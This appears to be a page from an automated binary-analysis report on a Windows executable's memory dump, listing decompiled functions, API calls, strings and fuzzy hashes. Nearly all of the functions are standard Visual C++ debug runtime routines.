Associated: 00000000.00000002.683860561.000000000043E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683876679.000000000044B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683890164.00000000004CB000.00000002.00020000.sdmp Download File

Similarity

API ID: I10____dtold__invalid_parameter__invoke_watson_if_error_wcscpy_s
String ID: ^QC$_fltout2$f:\dd\vctools\crt_bld\self_x86\crt\prebuild\conv\cfout.c$strcpy_s(resultstr, resultsize, autofos.man)
API String ID: 289039318-2165028228
Opcode ID: 1269ab3b4741671fd4c4e08779013fb3a09ca09d581b862a18957dc97f1ad04d
Instruction ID: 5acc7e8a6b599b9e81f78379f784cc66de628e6877041268ef10140ae686a7db
Opcode Fuzzy Hash: 1269ab3b4741671fd4c4e08779013fb3a09ca09d581b862a18957dc97f1ad04d
Instruction Fuzzy Hash: D7211DB5A402099BCB04EF65DC42ADEB7F4AF4C700F148559F80467355EA34E951CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00419A57, Relevance: 13.6, APIs: 9, Instructions: 100
COMMON

Download Yara Rule

C-Code - Quality: 49%

			E00419A57(intOrPtr __eax) {
				void* _t43;
				signed int _t44;
				intOrPtr _t51;
				intOrPtr _t53;
				intOrPtr _t54;
				void* _t57;
				void* _t58;
				void* _t72;
				void* _t74;
				void* _t76;
				void* _t78;
				void* _t79;
				void* _t80;

				_t60 =  *0x4c9c2c;
				__imp__DecodePointer( *0x4c9c2c);
				 *((intOrPtr*)(_t76 - 0x1c)) = __eax;
				if( *((intOrPtr*)(_t76 - 0x1c)) != 0) {
					__imp__DecodePointer( *0x4c9c28);
					 *((intOrPtr*)(_t76 - 0x28)) = __eax;
					 *((intOrPtr*)(_t76 - 0x24)) = 0;
					 *((intOrPtr*)(_t76 - 0x2c)) =  *((intOrPtr*)(_t76 - 0x1c));
					_t60 =  *((intOrPtr*)(_t76 - 0x28));
					 *((intOrPtr*)(_t76 - 0x20)) =  *((intOrPtr*)(_t76 - 0x28));
					while(1) {
						_t66 = 1;
						if(1 == 0) {
							goto L13;
						}
						 *((intOrPtr*)(_t76 - 0x30)) = 0;
						 *((intOrPtr*)(_t76 - 0x34)) = 0;
						while(1) {
							_t50 =  *((intOrPtr*)(_t76 - 0x28)) - 4;
							 *((intOrPtr*)(_t76 - 0x28)) =  *((intOrPtr*)(_t76 - 0x28)) - 4;
							_t60 =  *((intOrPtr*)(_t76 - 0x28));
							if( *((intOrPtr*)(_t76 - 0x28)) <  *((intOrPtr*)(_t76 - 0x1c))) {
								break;
							}
							_t57 = E0041F2C0(_t50);
							_t66 =  *((intOrPtr*)(_t76 - 0x28));
							if( *((intOrPtr*)( *((intOrPtr*)(_t76 - 0x28)))) == _t57) {
								continue;
							}
							break;
						}
						_t51 =  *((intOrPtr*)(_t76 - 0x28));
						if(_t51 >=  *((intOrPtr*)(_t76 - 0x1c))) {
							__imp__DecodePointer( *((intOrPtr*)( *((intOrPtr*)(_t76 - 0x28)))));
							 *((intOrPtr*)(_t76 - 0x24)) = _t51;
							 *((intOrPtr*)( *((intOrPtr*)(_t76 - 0x28)))) = E0041F2C0(_t51);
							_t53 =  *((intOrPtr*)(_t76 - 0x24))();
							__imp__DecodePointer( *0x4c9c2c);
							 *((intOrPtr*)(_t76 - 0x30)) = _t53;
							_t54 =  *0x4c9c28;
							__imp__DecodePointer(_t54);
							 *((intOrPtr*)(_t76 - 0x34)) = _t54;
							_t60 =  *((intOrPtr*)(_t76 - 0x2c));
							if( *((intOrPtr*)(_t76 - 0x2c)) !=  *((intOrPtr*)(_t76 - 0x30)) ||  *((intOrPtr*)(_t76 - 0x20)) !=  *((intOrPtr*)(_t76 - 0x34))) {
								 *((intOrPtr*)(_t76 - 0x2c)) =  *((intOrPtr*)(_t76 - 0x30));
								_t60 =  *((intOrPtr*)(_t76 - 0x2c));
								 *((intOrPtr*)(_t76 - 0x1c)) =  *((intOrPtr*)(_t76 - 0x2c));
								 *((intOrPtr*)(_t76 - 0x20)) =  *((intOrPtr*)(_t76 - 0x34));
								 *((intOrPtr*)(_t76 - 0x28)) =  *((intOrPtr*)(_t76 - 0x20));
							}
							continue;
						} else {
						}
						goto L13;
					}
				}
				L13:
				E00419CE0(0x40139c, 0x4013ac);
				_t79 = _t78 + 8;
				E00419CE0(0x4013b0, 0x4013b4);
				_t80 = _t79 + 8;
				if( *0x44b8a4 == 0) {
					_t44 = E0041E950(0xffffffff);
					_t80 = _t80 + 4;
					if((_t44 & 0x00000020) != 0) {
						 *0x44b8a4 = 1;
						E004198A0(_t60);
						L0041F210(_t58, _t66, _t72, _t74);
					}
				}
				 *((intOrPtr*)(_t76 - 4)) = 0xfffffffe;
				_t43 = E00419B9E();
				if( *((intOrPtr*)(_t76 + 0x10)) == 0) {
					 *0x44b8a0 = 1;
					_t43 = E00419C60();
					E00419C20( *((intOrPtr*)(_t76 + 8)));
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t76 - 0x10));
				return _t43;
			}

0x00419a57
0x00419a5e
0x00419a64
0x00419a6b
0x00419a78
0x00419a7e
0x00419a81
0x00419a8b
0x00419a8e
0x00419a91
0x00419a94
0x00419a94
0x00419a9b
0x00000000
0x00000000
0x00419aa1
0x00419aa8
0x00419aaf
0x00419ab2
0x00419ab5
0x00419ab8
0x00419abe
0x00000000
0x00000000
0x00419ac0
0x00419ac5
0x00419aca
0x00000000
0x00419acc
0x00000000
0x00419aca
0x00419ace
0x00419ad4
0x00419ade
0x00419ae4
0x00419aef
0x00419af1
0x00419afb
0x00419b01
0x00419b04
0x00419b0a
0x00419b10
0x00419b13
0x00419b19
0x00419b26
0x00419b29
0x00419b2c
0x00419b32
0x00419b38
0x00419b38
0x00000000
0x00000000
0x00419ad6
0x00000000
0x00419ad4
0x00419a94
0x00419b40
0x00419b4a
0x00419b4f
0x00419b5c
0x00419b61
0x00419b6b
0x00419b6f
0x00419b74
0x00419b7a
0x00419b7c
0x00419b86
0x00419b8b
0x00419b8b
0x00419b7a
0x00419b90
0x00419b97
0x00419bae
0x00419bb2
0x00419bbc
0x00419bc5
0x00419bca
0x00419bd0
0x00419bde

APIs

DecodePointer.KERNEL32(?), ref: 00419A5E
DecodePointer.KERNEL32(00000001), ref: 00419ADE
DecodePointer.KERNEL32(?), ref: 00419A78

Part of subcall function 0041F2C0: RtlEncodePointer.NTDLL(00000000,?,00419C8B,?,?,0041F430), ref: 0041F2C7

DecodePointer.KERNEL32(?), ref: 00419AFB
DecodePointer.KERNEL32(?), ref: 00419B0A
__initterm.LIBCMTD ref: 00419B4A
__initterm.LIBCMTD ref: 00419B5C
__CrtSetDbgFlag.LIBCMTD ref: 00419B6F
___freeCrtMemory.LIBCMTD ref: 00419B86

Memory Dump Source

Source File: 00000000.00000002.683771159.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.683744708.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.683860561.000000000043E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683876679.000000000044B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683890164.00000000004CB000.00000002.00020000.sdmp Download File

Similarity

API ID: Pointer$Decode$__initterm$EncodeFlagMemory___free
String ID:
API String ID: 713841671-0
Opcode ID: d2168e680d171e38b072b1101f28d4d92378cecc73aa3bda71a946b4ffb2e704
Instruction ID: 9e5c850515c238b7ea51c4ae450b48d0b1c8100fba62df288bd8bdf90a80e686
Opcode Fuzzy Hash: d2168e680d171e38b072b1101f28d4d92378cecc73aa3bda71a946b4ffb2e704
Instruction Fuzzy Hash: 69411A75D052089FCB04DFA4E494AEEBBB1BF48314F24456AE415B7390D7396C81CF69

Uniqueness

Uniqueness Score: -1.00%

Function 0041E64E, Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 179COMMON

Download Yara Rule

APIs

_CheckBytes.LIBCMTD ref: 0041E6CB
_CheckBytes.LIBCMTD ref: 0041E769
_CheckBytes.LIBCMTD ref: 0041E812

Strings

HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d)., xrefs: 0041E79E
HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d)., xrefs: 0041E700
%hs located at 0x%p is %Iu bytes long.Memory allocated at %hs(%d)., xrefs: 0041E8B1
HEAP CORRUPTION DETECTED: on top of Free block at 0x%p.CRT detected that the application wrote to a heap buffer that was freed.Memory allocated at %hs(%d)., xrefs: 0041E83C

Memory Dump Source

Source File: 00000000.00000002.683771159.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.683744708.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.683860561.000000000043E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683876679.000000000044B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683890164.00000000004CB000.00000002.00020000.sdmp Download File

Similarity

API ID: BytesCheck
String ID: %hs located at 0x%p is %Iu bytes long.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: on top of Free block at 0x%p.CRT detected that the application wrote to a heap buffer that was freed.Memory allocated at %hs(%d).
API String ID: 1653226792-1867057952
Opcode ID: e588ca0ee82a38051463b9f43e72846eefdadd0ef0562b9b60d78a9cd078a315
Instruction ID: 866bd217e8f0cf509b25c7ff52cedcffd494b87485fb76eec73a4fc7441b4ecb
Opcode Fuzzy Hash: e588ca0ee82a38051463b9f43e72846eefdadd0ef0562b9b60d78a9cd078a315
Instruction Fuzzy Hash: 97612378E001059BDB18CB85C885FBFB7B5AB48304F248119E9156B3C5D279E882CB69

Uniqueness

Uniqueness Score: -1.00%

Function 0041BC74, Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 135COMMON

Download Yara Rule

APIs

__un_inc.LIBCMTD ref: 0041BCAA
__inc.LIBCMTD ref: 0041BCEB
_memset.LIBCMT ref: 0041BEE8

Strings

{, xrefs: 0041BC84
{, xrefs: 0041BD2D
, xrefs: 0041BD24

Memory Dump Source

Source File: 00000000.00000002.683771159.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.683744708.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.683860561.000000000043E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683876679.000000000044B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683890164.00000000004CB000.00000002.00020000.sdmp Download File

Similarity

API ID: __inc__un_inc_memset
String ID: ${${
API String ID: 2807732903-1177038547
Opcode ID: 913beb8b3c220d66439826151836cb3ecc1e06a8b2cd83bc2fa472343ec5199d
Instruction ID: ca525229e8c62fcc5b6dcc22371b3d856831b5c8cf970eb1a74ad893412edccf
Opcode Fuzzy Hash: 913beb8b3c220d66439826151836cb3ecc1e06a8b2cd83bc2fa472343ec5199d
Instruction Fuzzy Hash: A1517930D40219CBDF38CB65D8886EEBBB1EF05315F2042AED519A6281D7385EC2CF89

Uniqueness

Uniqueness Score: -1.00%

Function 0042B0D4, Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 115COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0042B133
_memset.LIBCMT ref: 0042B1BC
__invalid_parameter.LIBCMTD ref: 0042B21B

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c, xrefs: 0042B1DF, 0042B20C
sizeInBytes > retsize, xrefs: 0042B1D3, 0042B216
P, xrefs: 0042B230
_wcstombs_s_l, xrefs: 0042B211

Memory Dump Source

Source File: 00000000.00000002.683771159.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.683744708.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.683860561.000000000043E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683876679.000000000044B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683890164.00000000004CB000.00000002.00020000.sdmp Download File

Similarity

API ID: _memset$__invalid_parameter
String ID: P$_wcstombs_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c$sizeInBytes > retsize
API String ID: 2178901135-56445615
Opcode ID: de94ae930dcaacc52c703d2791d97627d813d71e2f6764c484c1dd10f4b401bf
Instruction ID: e3ba6cf4b77dfec813adc26c44d581938d7cd3645db5d6a31a9208686c872761
Opcode Fuzzy Hash: de94ae930dcaacc52c703d2791d97627d813d71e2f6764c484c1dd10f4b401bf
Instruction Fuzzy Hash: 7A419C70A00319EBCB14CF58E855BAE7770FB44328F54866AE8356B3D0D37899A1CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0041F097, Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 81COMMON

Download Yara Rule

APIs

__isctype_l.LIBCMTD ref: 0041F105
_swprintf_s.LIBCMTD ref: 0041F188
__invoke_watson_if_oneof.LIBCMTD ref: 0041F1B6

Strings

(*_errno()), xrefs: 0041F1A5
%.2X , xrefs: 0041F16A
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0041F19B
_printMemBlockData, xrefs: 0041F1A0

Memory Dump Source

Source File: 00000000.00000002.683771159.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.683744708.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.683860561.000000000043E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683876679.000000000044B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683890164.00000000004CB000.00000002.00020000.sdmp Download File

Similarity

API ID: __invoke_watson_if_oneof__isctype_l_swprintf_s
String ID: %.2X $(*_errno())$_printMemBlockData$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c
API String ID: 4289034949-3158630120
Opcode ID: 85fa224023ba40bbdbaabed882e617eb5b955a9fce28cbe570376001e3b96101
Instruction ID: 2e0807b72b33e95113a5bb5a84c2538009c3bb64bb83d9fa734b0e63f6be8c99
Opcode Fuzzy Hash: 85fa224023ba40bbdbaabed882e617eb5b955a9fce28cbe570376001e3b96101
Instruction Fuzzy Hash: 1531D574A04348EFCB04DFA1C951AEEBB72AF45304F20446AE4156F3C2D7389E46DB48

Uniqueness

Uniqueness Score: -1.00%

Function 0041BAC8, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 134COMMON

Download Yara Rule

APIs

__un_inc.LIBCMTD ref: 0041BCAA
__inc.LIBCMTD ref: 0041BCEB
_memset.LIBCMT ref: 0041BEE8

Strings

{, xrefs: 0041BD2D
, xrefs: 0041BD24

Memory Dump Source

Source File: 00000000.00000002.683771159.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.683744708.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.683860561.000000000043E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683876679.000000000044B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683890164.00000000004CB000.00000002.00020000.sdmp Download File

Similarity

API ID: __inc__un_inc_memset
String ID: ${
API String ID: 2807732903-4046706400
Opcode ID: 0b69e78f7f42b9d3032386d88d37dd6052f28baafc977402c2d0f924d211a473
Instruction ID: ac2dd89dfff0b4d45c15cd0f786a8713180ba83adf988289914d270f7b39ee0a
Opcode Fuzzy Hash: 0b69e78f7f42b9d3032386d88d37dd6052f28baafc977402c2d0f924d211a473
Instruction Fuzzy Hash: 1D516834D4421D8BCF38CA69C8897EEBBB1EF15305F1442AAD519A6281D7385AC2CF89

Uniqueness

Uniqueness Score: -1.00%

Function 00430651, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 104COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 004306B2
__aullrem.LIBCMT ref: 0043087F
__aulldiv.LIBCMT ref: 004308A1

Strings

', xrefs: 00430651
9, xrefs: 004308B2
0, xrefs: 0043066D

Memory Dump Source

Source File: 00000000.00000002.683771159.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.683744708.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.683860561.000000000043E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683876679.000000000044B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683890164.00000000004CB000.00000002.00020000.sdmp Download File

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$0$9
API String ID: 3120068967-269856862
Opcode ID: 7c3bdb249bc1c3ef74f473ea8e0ab11ae7aae7dd4920d5b9fd2b2eeb58f39026
Instruction ID: fed4fb034f87bae72796ccb9f727e104bcdfd36a67b6b8b46acee4704ea60067
Opcode Fuzzy Hash: 7c3bdb249bc1c3ef74f473ea8e0ab11ae7aae7dd4920d5b9fd2b2eeb58f39026
Instruction Fuzzy Hash: 7341F671D06228DFDB24DF58C8A9BAEB7B5FB48304F2492DAD009A7241C7386E85CF44

Uniqueness

Uniqueness Score: -1.00%

Function 0041C0BB, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 91COMMON

Download Yara Rule

APIs

__inc.LIBCMTD ref: 0041C11A
__inc.LIBCMTD ref: 0041C14D
_isxdigit.LIBCMTD ref: 0041C26E
__hextodec.LIBCMTD ref: 0041C2A1
_isdigit.LIBCMTD ref: 0041C2C7
__inc.LIBCMTD ref: 0041C3AF
__un_inc.LIBCMTD ref: 0041C3D3

Strings

0, xrefs: 0041C100
p, xrefs: 0041C260

Memory Dump Source

Source File: 00000000.00000002.683771159.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.683744708.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.683860561.000000000043E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683876679.000000000044B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683890164.00000000004CB000.00000002.00020000.sdmp Download File

Similarity

API ID: __inc$__hextodec__un_inc_isdigit_isxdigit
String ID: 0$p
API String ID: 500523077-2059906072
Opcode ID: 9115389eaf96b0145bd257c864853e464646f9b8bfc2ed8588d70ddebb9d866d
Instruction ID: b872defe4f070ad51dcb1faf2d3e01384aa352dbfe20a92099ded531314b54ce
Opcode Fuzzy Hash: 9115389eaf96b0145bd257c864853e464646f9b8bfc2ed8588d70ddebb9d866d
Instruction Fuzzy Hash: FD411B74CC426D9BDB24CBA5CD847FEBB71AF15308F2480EBD41966206D2389AC2DF49

Uniqueness

Uniqueness Score: -1.00%

Function 00429423, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 79COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00429474
__invalid_parameter.LIBCMTD ref: 0042950D
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0042951F

Strings

bufferSize <= INT_MAX, xrefs: 004294C5, 00429508
_mbstowcs_s_l, xrefs: 00429503
f:\dd\vctools\crt_bld\self_x86\crt\src\mbstowcs.c, xrefs: 004294D1, 004294FE

Memory Dump Source

Source File: 00000000.00000002.683771159.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.683744708.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.683860561.000000000043E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683876679.000000000044B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683890164.00000000004CB000.00000002.00020000.sdmp Download File

Similarity

API ID: Locale$UpdateUpdate::~___invalid_parameter_memset
String ID: _mbstowcs_s_l$bufferSize <= INT_MAX$f:\dd\vctools\crt_bld\self_x86\crt\src\mbstowcs.c
API String ID: 255745848-890208756
Opcode ID: e3d92a5cb25e6fd4bfe12a67b8d2cafca533b0b7554fd91f275991d410e61549
Instruction ID: 6b57d03e82539ff3fa2f787a03ed43c9b16f8b3c8d69fae9294493ef9140b39f
Opcode Fuzzy Hash: e3d92a5cb25e6fd4bfe12a67b8d2cafca533b0b7554fd91f275991d410e61549
Instruction Fuzzy Hash: E4319170A00219EBDF24DF58DC41BEE7370BB44314F60862AE822672C1D7799D92CB59

Uniqueness

Uniqueness Score: -1.00%

Function 004330A3, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 124COMMON

Download Yara Rule

APIs

__isatty.LIBCMTD ref: 00433189
__getbuf.LIBCMTD ref: 00433199
__write.LIBCMTD ref: 00433221

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\_flsbuf.c, xrefs: 004331CC
("inconsistent IOB fields", stream->_ptr - stream->_base >= 0), xrefs: 004331C0

Memory Dump Source

Source File: 00000000.00000002.683771159.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.683744708.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.683860561.000000000043E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683876679.000000000044B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683890164.00000000004CB000.00000002.00020000.sdmp Download File

Similarity

API ID: __getbuf__isatty__write
String ID: ("inconsistent IOB fields", stream->_ptr - stream->_base >= 0)$f:\dd\vctools\crt_bld\self_x86\crt\src\_flsbuf.c
API String ID: 2861569966-4070537404
Opcode ID: 6d556176aa38aa7e146236d71d3956ba6918dc8378c09c8ba6c4e693592e70c6
Instruction ID: 0494de92f6379f294f855b83018afc48b93a2a26b1a0d00385789bc2effa8f9d
Opcode Fuzzy Hash: 6d556176aa38aa7e146236d71d3956ba6918dc8378c09c8ba6c4e693592e70c6
Instruction Fuzzy Hash: 0951DB75A00208EFDB14CF94D491AAEFBB2FF88325F14C299D4456B395D635EA81CF44

Uniqueness

Uniqueness Score: -1.00%

Function 0041FC21, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 123COMMON

Download Yara Rule

APIs

__isatty.LIBCMTD ref: 0041FD03
__getbuf.LIBCMTD ref: 0041FD13
__write.LIBCMTD ref: 0041FD9B

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\_flsbuf.c, xrefs: 0041FD46
("inconsistent IOB fields", stream->_ptr - stream->_base >= 0), xrefs: 0041FD3A

Memory Dump Source

Source File: 00000000.00000002.683771159.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.683744708.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.683860561.000000000043E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683876679.000000000044B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683890164.00000000004CB000.00000002.00020000.sdmp Download File

Similarity

API ID: __getbuf__isatty__write
String ID: ("inconsistent IOB fields", stream->_ptr - stream->_base >= 0)$f:\dd\vctools\crt_bld\self_x86\crt\src\_flsbuf.c
API String ID: 2861569966-4070537404
Opcode ID: f01df7b42282594925225233a16d2db0f42c23e7c7bfa5adc350b98f90a24e84
Instruction ID: 1a396cec4a4c9d66ccb7280996ca60b3b3d804d5c8c687fbc32daf24831de559
Opcode Fuzzy Hash: f01df7b42282594925225233a16d2db0f42c23e7c7bfa5adc350b98f90a24e84
Instruction Fuzzy Hash: 7D51EE74A00208EFDB04CF94D491AADFB71FF88324F148299D8496B396D735EA86CF84

Uniqueness

Uniqueness Score: -1.00%

Function 0043063E, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 106COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 004306B2
__aullrem.LIBCMT ref: 0043087F
__aulldiv.LIBCMT ref: 004308A1

Strings

9, xrefs: 004308B2
0, xrefs: 0043066D

Memory Dump Source

Source File: 00000000.00000002.683771159.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.683744708.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.683860561.000000000043E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683876679.000000000044B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683890164.00000000004CB000.00000002.00020000.sdmp Download File

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 0$9
API String ID: 3120068967-1975997740
Opcode ID: ea8e074ca0a0b07f47860d19c31b48648ec09fd9d9126cd6f2b848436e10728a
Instruction ID: 82ffaddf3193f31000e36577e42eeece0787418c8d1c06f081f9801bcc6ad7fd
Opcode Fuzzy Hash: ea8e074ca0a0b07f47860d19c31b48648ec09fd9d9126cd6f2b848436e10728a
Instruction Fuzzy Hash: B0410771D05228DFDB24DF58C8A9BAEB7B5FB48304F2092DAD009A7241C7386E85CF45

Uniqueness

Uniqueness Score: -1.00%

Function 004319F3, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 105COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00431A5A
__aullrem.LIBCMT ref: 00431C2A
__aulldiv.LIBCMT ref: 00431C4C

Strings

', xrefs: 004319F3
9, xrefs: 00431C5D

Memory Dump Source

Source File: 00000000.00000002.683771159.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.683744708.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.683860561.000000000043E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683876679.000000000044B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683890164.00000000004CB000.00000002.00020000.sdmp Download File

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$9
API String ID: 3120068967-1823400153
Opcode ID: 7a10b8c99142ab5d514452e15933beec413e131ae2617611f5c867271cc27d04
Instruction ID: 5a7e3511690fec9f535d99a26e956b6c43f2580fcc2ecf3e41acefc42d5470be
Opcode Fuzzy Hash: 7a10b8c99142ab5d514452e15933beec413e131ae2617611f5c867271cc27d04
Instruction Fuzzy Hash: 434105B1E00129DFDB24CF58C881BAEB7B5FF89314F10519AD188AB251D7786E81CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00433D90, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 97COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00433DDF
FindFirstVolumeA.KERNEL32(?,00000000), ref: 00433E2F
GetNumaProcessorNode.KERNEL32(00000000,00000000), ref: 00433E39
GetModuleFileNameW.KERNEL32(00000000,?,00000000), ref: 00433E87

Strings

, xrefs: 00433DC5

Memory Dump Source

Source File: 00000000.00000002.683771159.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.683744708.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.683860561.000000000043E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683876679.000000000044B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683890164.00000000004CB000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorFileFindFirstLastModuleNameNodeNumaProcessorVolume
String ID:
API String ID: 579925367-3916222277
Opcode ID: a4d2f301ec5b844ad3653f9accc298d18b3e43533461a1c0077c2c85997e0da4
Instruction ID: e2ba2eb3449f87452532d21e23554f16b84348d2bf2fd1b7d6aa81af69d33a06
Opcode Fuzzy Hash: a4d2f301ec5b844ad3653f9accc298d18b3e43533461a1c0077c2c85997e0da4
Instruction Fuzzy Hash: AB413474E00209DFCB04CF99D984AAEFBB5FF88315F10816AD514A7390DB34AA41CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 0041CE30, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 89COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 0041CEBF
__recalloc_dbg.LIBCMTD ref: 0041CEEF

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\input.c, xrefs: 0041CE7E, 0041CEDA
nFloatStrUsed<=(*pnFloatStrSz), xrefs: 0041CE40
f:\dd\vctools\crt_bld\self_x86\crt\src\input.c, xrefs: 0041CE4C

Memory Dump Source

Source File: 00000000.00000002.683771159.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.683744708.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.683860561.000000000043E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683876679.000000000044B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683890164.00000000004CB000.00000002.00020000.sdmp Download File

Similarity

API ID: __recalloc_dbg_memmove
String ID: f:\dd\vctools\crt_bld\self_x86\crt\src\input.c$f:\dd\vctools\crt_bld\self_x86\crt\src\input.c$nFloatStrUsed<=(*pnFloatStrSz)
API String ID: 1873972614-3430959335
Opcode ID: c2bcd4294457fb66837a02f8d00605590c3206f9f4749dd76e929986d8dd2a54
Instruction ID: 97d4c3bdb0a103f5c43b63f524497c6956a1279aa87c35720a14b3f5a65b0dac
Opcode Fuzzy Hash: c2bcd4294457fb66837a02f8d00605590c3206f9f4749dd76e929986d8dd2a54
Instruction Fuzzy Hash: 363136B4780208AFCB14DF14C886FAA7362EB99714F20845AFC199B3C1D7B5E981CB55

Uniqueness

Uniqueness Score: -1.00%

Function 0041C1E8, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 80COMMON

Download Yara Rule

APIs

__inc.LIBCMTD ref: 0041C236
_isxdigit.LIBCMTD ref: 0041C26E
__hextodec.LIBCMTD ref: 0041C2A1

Strings

p, xrefs: 0041C260
+, xrefs: 0041C201

